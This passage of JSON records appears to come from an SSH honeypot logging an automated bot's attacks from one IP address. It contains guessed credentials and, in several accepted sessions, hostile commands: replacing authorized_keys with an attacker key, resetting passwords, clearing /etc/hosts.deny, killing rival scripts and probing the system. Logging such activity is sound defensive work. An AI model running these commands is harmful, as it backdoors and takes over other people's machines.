GNU/Linux"},{"seq":28,"at":"2026-08-26T13:08:25.798198+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:08:25.798772+00:00","kind":"output","latency_ms":null,"data":"student"},{"seq":30,"at":"2026-08-26T13:08:28.053095+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:08:28.602718+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:08:30.024309+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:08:30.556329+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"student","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"b2807e37-d15a-4d72-98ff-d1111d42b136","name":"hardy-creaky-warbler","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49702,"username":"student","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:08:06.709569+00:00","ended_at":"2026-08-26T13:08:08.750867+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"student","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"15a57ca7-cd0b-4043-92d3-6ec04beba12a","name":"gilded-sleepy-merlin","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49694,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:08:03.034092+00:00","ended_at":"2026-08-26T13:08:04.457238+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d2293fc2-a616-4559-aee6-ece9c0f1e1b7","name":"pristine-lucid-teal","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49498,"username":"player","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:04:50.706215+00:00","ended_at":"2026-08-26T13:04:51.540816+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"player","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1e27eab1-9396-42d7-8b1a-a2c9cdb53f58","name":"smoky-freckled-cougar","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49492,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:04:45.597438+00:00","ended_at":"2026-08-26T13:04:47.529614+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"70313608-fc37-40d7-a38b-ebb60e1ada05","name":"gleaming-slender-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":49484,"username":"player","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:04:42.600307+00:00","ended_at":"2026-08-26T13:04:43.510870+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T13:04:42.602131+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:04:43.187553+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"player","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"4cf3a999-53f5-4ecd-85fb-0df56d958da7","name":"golden-russet-francolin","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49304,"username":"nebula","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:01:49.698000+00:00","ended_at":"2026-08-26T13:01:51.493792+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"nebula","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e9b42733-deec-4dbb-8cb7-f98951132554","name":"dutiful-burly-egret","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49298,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:01:44.439356+00:00","ended_at":"2026-08-26T13:01:46.249688+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"360fe506-4e9d-48b8-8520-6c6d182fd811","name":"tidal-mindful-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":49286,"username":"nebula","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:01:40.711904+00:00","ended_at":"2026-08-26T13:01:42.412418+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T13:01:40.712592+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:01:42.098259+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"nebula","password":"nebula","method":"password","accepted":true,"tier":"other"}]} {"id":"c4001c4a-2129-414a-9db4-36677973a1a1","name":"drifting-cosmic-lark","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":49088,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":934,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:59:15.601396+00:00","ended_at":"2026-08-26T12:59:17.012599+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:58:37.432170+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:58:38.306726+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:58:46.630828+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:58:47.376559+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:58:49.113695+00:00","kind":"input","latency_ms":null,"data":"echo \"root:T1uRKzTQFdM5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:58:50.002252+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:58:51.865769+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:58:52.625302+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:58:54.297916+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:58:55.566633+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:58:56.495593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:58:57.766443+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:58:58.617769+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:58:59.326850+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:59:00.249474+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:59:01.004379+00:00","kind":"output","latency_ms":null,"data":" 12:59:01 up 6 days, 9:49, 0 user, load average: 0.25, 0.22, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:59:02.129277+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:59:02.418121+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:59:03.326446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:59:03.852325+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:59:04.748038+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:59:05.376639+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:05 up 6 days, 9:49, 0 user, load average: 0.25, 0.22, 0.2\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:59:07.095563+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:59:07.859534+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:59:08.794835+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:59:09.260228+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:59:10.926594+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:59:11.600225+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:59:13.297957+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:59:14.697364+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:59:15.602181+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:59:16.724542+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin123@","method":"password","accepted":true,"tier":"other"}]} {"id":"9bd62048-6936-4b25-888d-3c5ee273a21f","name":"blunt-courtly-merlin","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49104,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:58:44.395071+00:00","ended_at":"2026-08-26T12:58:46.364700+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a2233830-8193-421f-988b-0e878fe4fca4","name":"frank-marine-koala","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49098,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:58:40.302741+00:00","ended_at":"2026-08-26T12:58:42.147330+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"11b65d9d-09a8-42c4-8f36-6094233473bc","name":"frugal-plush-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":48882,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":856,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:56:23.726104+00:00","ended_at":"2026-08-26T12:56:24.969226+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:55:54.571387+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:55:55.427670+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:56:01.869855+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:56:02.608903+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:56:03.499201+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q2RyTzsoNvTB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:56:04.402222+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:56:05.225948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:56:05.477693+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:56:06.328078+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:56:07.334218+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:56:08.215934+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:56:09.008386+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:56:09.900220+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:56:10.550227+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:56:11.400146+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:56:11.753394+00:00","kind":"output","latency_ms":null,"data":" 12:56:11 up 6 days, 9:46, 0 user, load average: 0.26, 0.2, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:56:12.603888+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:56:13.342654+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:56:14.200721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:56:15.073276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:56:15.923835+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:56:16.285787+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:16 up 6 days, 9:46, 0 user, load average: 0.26, 0.2, 0.31\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:56:17.142108+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:56:17.607253+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:56:18.497946+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:56:19.122266+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:56:19.999167+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:56:20.775910+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:56:21.628937+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:56:22.877525+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:56:23.726964+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:56:24.698155+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abcd123456","method":"password","accepted":true,"tier":"other"}]} {"id":"55a38356-34b8-4650-b30e-fffa00530ab0","name":"knotted-noble-osprey","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48898,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:56:00.496567+00:00","ended_at":"2026-08-26T12:56:01.597085+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a9f94883-fc4b-4343-819e-0f8bb58a4354","name":"glassy-fabled-seal","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48890,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:55:57.502264+00:00","ended_at":"2026-08-26T12:55:58.795519+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"769cc704-6be2-4190-b4d9-94577d3282f5","name":"weathered-frugal-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":48686,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":851,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:53:31.835773+00:00","ended_at":"2026-08-26T12:53:33.498135+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-26T12:53:03.112263+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:53:03.996797+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:53:09.999329+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:53:10.752359+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:53:11.603389+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Aa123456!\\nadJvEJOzZVcS\\nadJvEJOzZVcS\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:53:12.499577+00:00","kind":"input","latency_ms":null,"data":"echo \"Aa123456!\\nadJvEJOzZVcS\\nadJvEJOzZVcS\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:53:13.396799+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:53:13.736395+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:53:14.596586+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:53:16.049433+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:53:16.896033+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:53:17.637361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:53:18.496961+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:53:19.173254+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:53:20.021693+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:53:20.316153+00:00","kind":"output","latency_ms":null,"data":" 12:53:20 up 6 days, 9:43, 0 user, load average: 0.04, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:53:21.202648+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:53:21.751812+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:53:22.602076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:53:23.212335+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:53:24.095880+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:53:24.716666+00:00","kind":"output","latency_ms":null,"data":"top - 12:53:24 up 6 days, 9:43, 0 user, load average: 0.04, 0.04, 0.05\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:53:25.594636+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:53:25.983805+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:53:26.828142+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:53:27.705109+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:53:28.615345+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:53:28.877238+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-26T12:53:29.726366+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:53:30.988351+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:53:31.837339+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:53:33.224667+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"Aa123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"792bab8c-991c-4da0-9101-3fb56bd1957c","name":"wooded-bronzed-peccary","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":48700,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:53:08.799794+00:00","ended_at":"2026-08-26T12:53:09.711472+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 